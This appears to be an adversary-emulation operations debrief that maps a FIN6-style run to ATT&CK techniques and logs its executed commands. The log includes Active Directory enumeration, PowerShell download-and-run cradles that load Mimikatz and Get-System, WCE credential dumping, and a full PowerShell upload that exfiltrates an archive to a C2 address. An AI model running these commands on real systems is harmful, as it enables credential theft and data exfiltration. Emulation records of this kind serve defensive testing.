OPERATIONS DEBRIEF

TACTICS AND TECHNIQUES

Tactics	Techniques	Abilities
Collection	T1560.001: Archive Collected Data: Archive via Utility	fin6-25-july Compress Files with 7zip (7.exe)
Credential-access	T1003.001: OS Credential Dumping: LSASS Memory - Invoke-Mimikatz T1003.001: OS Credential Dumping: LSASS Memory - Windows Credential Editor (WCE)	fin6-25-july PowerSploit Invoke-Mimikatz WCE Credential Access
Discovery	T1087.002: Account Discovery: Domain Account T1018: Remote System Discovery T1482: Domain Trust Discovery T1016: System Network Configuration Discovery T1069.002: Permission Groups Discovery: Domain Groups	fin6-25-july Enumerate AD person objects Enumerate AD computer objects Enumerate AD Organizational Units Enumerate AD trust objects Enumerate AD subnets Enumerate AD groups
Execution	T1569.002: System Services: Service Execution T1047: Windows Management Instrumentation	fin6-25-july PsExec Remote Command WMIC Remote Process Execution
Exfiltration	T1041.005: Exfiltration Over C2 Channel	fin6-25-july Exfil staged directory
Privilege-escalation	T1134: Access Token Manipulation	fin6-25-july PowerSploit Named-Pipe Impersonation

STEPS IN OPERATION `FIN6-25-JULY`

The table below shows detailed information about the steps taken in an operation and whether the command run discovered any facts.

Time	Status	Agent	Name	Command	Facts
2023-07-25 11:12:18	success	faqaut	Enumerate AD person objects	adfind.exe -f (objectcategory=person) > ad_users.txt	No
2023-07-25 11:12:25	success	faqaut	Enumerate AD computer objects	adfind.exe -f (objectcategory=computer) > ad_computers.txt	No
2023-07-25 11:12:33	success	faqaut	Enumerate AD Organizational Units	adfind.exe -f (objectcategory=organizationalUnit) > ad_ous.txt	No
2023-07-25 11:12:41	success	faqaut	Enumerate AD trust objects	adfind.exe -gcb -sc trustdmp > ad_trustdmp.txt	No

OPERATIONS DEBRIEF

Time	Status	Agent	Name	Command	Facts
2023-07-25 11:12:46	success	faqaut	Enumerate AD subnets	adfind.exe -subnets -f (objectCategory=subnet) > ad_subnets.txt	No
2023-07-25 11:12:52	success	faqaut	Enumerate AD groups	adfind.exe -f (objectcategory=group) > ad_group.txt	No
2023-07-25 11:13:01	success	faqaut	PowerSploit Named-Pipe Impersonation	powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/Get-System.ps1'); Get-System -ServiceName 'mstdc' -PipeName 'mstdc'"	Yes
2023-07-25 11:13:09	success	faqaut	PowerSploit Invoke-Mimikatz	powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"	No
2023-07-25 11:13:18	success	faqaut	WCE Credential Access	wce.exe -w -o %temp%\wce-output.txt	No
2023-07-25 11:13:26	success	faqaut	Compress Files with 7zip (7.exe)	7za.exe a -mx3 ad.7z ad_*	No
2023-07-25 11:13:37	success	faqaut	Exfil staged directory	$ErrorActionPreference = 'Stop';$fieldName = 'C:/Users/sisl/Desktop/ad.7z';$filePath = 'C:/Users/sisl/Desktop/ad.7z';$url = "http://192.168.1.138:8888/file/upload";Add-Type -AssemblyName 'System.Net.Http';$client = New-Object System.Net.Http.HttpClient;$content = New-Object System.Net.Http.MultipartFormDataContent;$fileStream = [System.IO.File]::OpenRead($filePath);$fileName = [System.IO.Path]::GetFileName($filePath);$fileContent = New-Object System.Net.Http.StreamContent($fileStream);$content.Add($fileContent, $fieldName, $fileName);$client.DefaultRequestHeaders.Add("X-Request-Id", $env:COMPUTERNAME + '-faqaut');$client.DefaultRequestHeaders.Add("User-Agent","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36");$result = $client.PostAsync($url, $content).Result;$result.EnsureSuccessStatusCode();	Yes
2023-07-25 11:13:40	failure	faqaut	PsExec Remote Command	"#{psexec_exe}" \\#{remote_host} #{remote_command}	No
2023-07-25 11:13:46	success	faqaut	WMIC Remote Process Execution	wmic /node:#{node} process call create "#{path_to_execute}"	No

OPERATIONS DEBRIEF

Time	Status	Agent	Name	Command	Facts
2023-07-25 11:13:54	success	faqaut	WMIC Remote Process Execution	wmic /node:#{node} process where name="#{process_name_to_kill}" delete >nul 2>&1	No
2023-07-25 11:13:55	success	faqaut	WCE Credential Access	del %temp%\wce-output.txt >nul 2>&1	No